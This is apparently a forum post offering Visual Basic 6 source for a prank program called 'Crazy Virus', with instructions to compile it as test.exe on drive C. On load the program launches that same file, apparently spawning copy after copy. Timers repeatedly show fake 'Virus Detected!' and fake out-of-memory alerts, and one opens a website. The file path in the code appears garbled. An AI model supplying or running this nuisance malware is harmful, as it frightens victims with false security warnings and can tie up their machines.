Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!

Categories

Crazy Virus'

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, _
ByVal lpOperation As String, _
ByVal lpFile As String, _
ByVal lpParameters As String, _
ByVal lpDirectory As String, _
ByVal nShowCmd As Long) As Long
Dim ctr As Integer
---------------------------------------------------------------
Private Sub Form_Load()
Shell "c: est.exe", vbNormalFocus
End Sub
---------------------------------------------------------------
' Timer1 interval = 100

Private Sub Timer1_Timer()
MsgBox "Virus Detected!", vbExclamation, "Warning."
End Sub
---------------------------------------------------------------
' Timer2 interval = 200

Private Sub Timer2_Timer()
MsgBox "Runtime error 492. Not enough memory.", vbCritical, "Runtime Error."
End Sub
---------------------------------------------------------------
' Timer3 interval = 5000

Private Sub Timer3_Timer()
ctr = ctr + 1
If ctr = 1 Then
ShellExecute Form1.hwnd, "open", "http://www.googlehammer.com", "", "", SW_SHOW Or SW_NORMAL
Timer3.Enabled = False
End If
End Sub
---------------------------------------------------------------

---------------------------------------------------------------
'After that, you will make the exe file and name it the "test.exe" and then save it to drive C.
Sign In or Register to comment.